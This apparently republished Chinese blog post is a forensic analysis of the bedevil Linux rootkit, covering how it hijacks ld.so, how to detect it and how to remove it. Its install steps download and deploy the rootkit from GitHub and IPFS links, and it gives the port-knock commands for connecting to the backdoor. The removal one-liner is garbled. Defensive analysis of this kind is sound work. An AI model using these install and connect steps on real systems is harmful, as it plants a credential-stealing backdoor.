Linux | bedevil Rootkit取证分析研究
2023-12-18 20:32:8 Author: TahirSec(查看原文) 阅读量:30 收藏

     bedevil是基于动态共享库劫持的用户态Rootkit,网上相关分析文章很少,没有详细的取证分析文章,此文简单介绍一下bedevil相关的痕迹检测和取证方法。

1. 取证对抗

bedevil 是个功能十分完善用户态Rootkit,提供三种端口敲门的方式ssh、icmp、tcp,通过特定的源端口和随机密码获取访问权限,实现隐藏进程、网络连接、窃取文件、窃取登录认证密码、记录用户命令执行、定期修改后门用户GID等功能。

不同于常规的动态链接库Rootkit,通过修改LD_PRELOAD和/etc/ld.so.preload来实现预先加载共享库文件,bedevil Rootkit通过一个随机的文件记录真实的bdvl.so文件地址,将该随机的文件目录直接patch系统共享库文件ld.so,来实现动态链接库劫持。

植入bedevil后,ld.so文件在访问preloadfile目录已被修改为Rootkit设置的随机地址。

    bedevil的evade函数对取证工具和显示动态链接的常用工具进行过滤,隐藏自身动态链接库信息(作用相当于内核态Rootkit隐藏自身模块)

    当ld.so、ldd、chkrootkit等常规检测动态链接库劫持的进程启动时,则暂时移除patch的文件路径,fork一个新的子进程,重新patch,继续隐藏文件。

    当ssh、busybox、打开/proc/*/maps等目录时,隐藏preloadfile目录信息。

2. 编译安装

bedevil Rootkit编译bdvl.so时,需要libgcc库,安装时配置文件通过.b64文件解压获得,安装成功后,如果是本地获取配置文件,则直接删除。

#下载源码git clone https://github.com/Error996/bdvl.git#wget https://ipfs.io/ipns/k51qzi5uqu5dhvpni6iwym0gt3usas29260yepvvti525v031niy94j80dk8t6/bdvl.tar.gz#wget https://cloudflare-ipfs.com/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz#wget https://ipfs.io/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz#wget https://cloudflare-ipfs.com/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz#wget https://k51qzi5uqu5dhvpni6iwym0gt3usas29260yepvvti525v031niy94j80dk8t6.ipns.dweb.link/bdvl.tar.gztar -zxvf bdvl.tar.gzcd bdvl#自动编译sh etc/depinstall.sh && makecd build#在build运行simplehttpserver 9001,因为build目录下的.b64文件默认通过本地9001端口获取nohup python -m SimpleHTTPServer 9001 &cd ../#自动安装sh etc/auto.sh#第二次安装通过LD_PRELOAD=./build/bdvl.so.x86_64 sh -c './bdvinstall build/bdvl.so.*'#杀死9001端口监听进程ps aux | grep pythonkill xxxx

3. 端口敲门

ssh方式连接

sh etc/ssh.sh super <host> 24023

icmp方式连接

sh etc/icmp.sh <host> 24023

tcp方式连接

nc <host> 22 -p 18419

4. 窃密功能

连接后默认在随机的home目录,并且创建了软链接,方便攻击者查看,登录密码、命令执行记录、窃密文件等。

5. 其他功能

其他功能可以卸载,隐藏其他文件目录、显示自身、创建链接、更改自身GID、安装软件包等。

6. 痕迹检测

不同于常规的动态链接库Rootkit,通过修改LD_PRELOAD和/etc/ld.so.preload来实现预先加载共享库文件,bedevil Rootkit通过一个随机的文件记录真实的bdvl.so文件地址,将该随机的文件目录直接patch系统共享库文件ld.so,来实现动态链接库劫持。

常规的检测手段,比如查看进程的map信息、利用busybox查看文件目录、查看LD_PRELOAD环境变量、查看/etc/ld.so.preload等手段失效。

几种思路进行有效检测:

  • 绕过字符过滤进行检测

  • 绕过正则过滤进行检测

6.1 绕过字符过滤

        第一种思路,由于预设了一些进程名称比如busybox等,可以通过修改busybox程序名,或者使用完整路径来执行,如下图,可以找到隐藏的网络连接。

        对比两次的maps信息,找到可疑的共享库路径(标记为delete)。

第二种思路,找到ld.so被patch的预加载共享库的路径。由于随机路径一般设置为/usr、/etc、/bin等目录下,可以直接通过string过滤出字符串,因为攻击者没有对strings程序进行对抗。

下图可知,可疑的文件路径/bin/commguqhfesnw,疑似预加载链接库的目录。

strings /lib/ld-2.17.so | grep '/etc'strings /lib/ld-2.17.so | grep '/usr'strings /lib/ld-2.17.so | grep '/bin'strings /lib/ld-2.17.so | grep '/opt'

利用busybox查看/bin/commguqhfesnw文件,可知恶意的链接库文件为/lib/firewallb/libfirewallb.so.x86_64。

6.2 绕过正则过滤

        攻击者预设了正则表达式,对ld.so共享库调用--list查看别的共享库的列表时,暂时移除patch的文件路径,fork一个新的子进程,重新patch,继续隐藏文件。

        预设的正则

*/*ld-linux*.so.**ld-linux*.so.**/*ld-*.so*ld-*.so*/ld-*.so.*/usr/lib64/ld-2.17.so/usr/lib/ld-2.17.so

        可以通过软链接(/lib ----> usr/lib),访问/lib/ld-2.17.so的方式,绕过正则匹配和过滤策略,当执行--list命令时,bdvl.so没有对ld-2.17.so的patch的preloadfile路径做修复,导致预加载执行时还是需要读取/bin/commguqhfesnw文件目录,加载动态链接库,暴露被劫持的路径和恶意动态链接库的信息,从而实现Rootkit检测。

7. 取证方法

检测到bedevil Rootkit后,可以通过一些思路将所有恶意文件目录找到。

  • 属主不为root的共享库文件

  • 属主大于10000的文件目录

  • 快速定位ssh后门用户名和密码哈希

  • 快速定位特殊环境变量

7.1 定位恶意文件

在bedevil常存在的目录下,查找属主不为root的共享库文件,分析是否为可疑共享库。

        全盘寻找属主大于10000的文件目录。

        如果攻击者曾经连接过ssh后门,则可以直接找到创建的软链接目录,得到随机目录的定义。

        如果攻击者正在连接ssh后门,则可以发现许多异常文件目录。

7.2 定位后门用户

        快速定位ssh后门用户名和密码哈希。

/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1  strings {} \; | grep -E "sshd:"/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1  strings {} \; | grep -E "\\\$6\\\$"

        快速定位特殊环境变量DMHXVLSLQMXGCIDF。

/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1  strings {} \; | grep -Eo "[A-Z0-9]{16}" | uniq

8.处置方法

        先找到可疑的.so文件,在.so文件中找到设置的特殊环境变量,然后设置为1,再通过uninstall命令,完全卸载bedevil Rootkit。

/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1  strings {} \; | grep -Eo "[A-Z0-9]{16}" | uniq  -exec {}=1 sh -c './bdv uninstall' \;


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzNjIwMzM5Nw==&mid=2247487602&idx=1&sn=ec067f3264dbaf14fae23455201b9f55&chksm=c301d8dc8fcd507682392ec75b0326d58062b66dc9593fa06f71d8e514d63282583008cd6f15&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh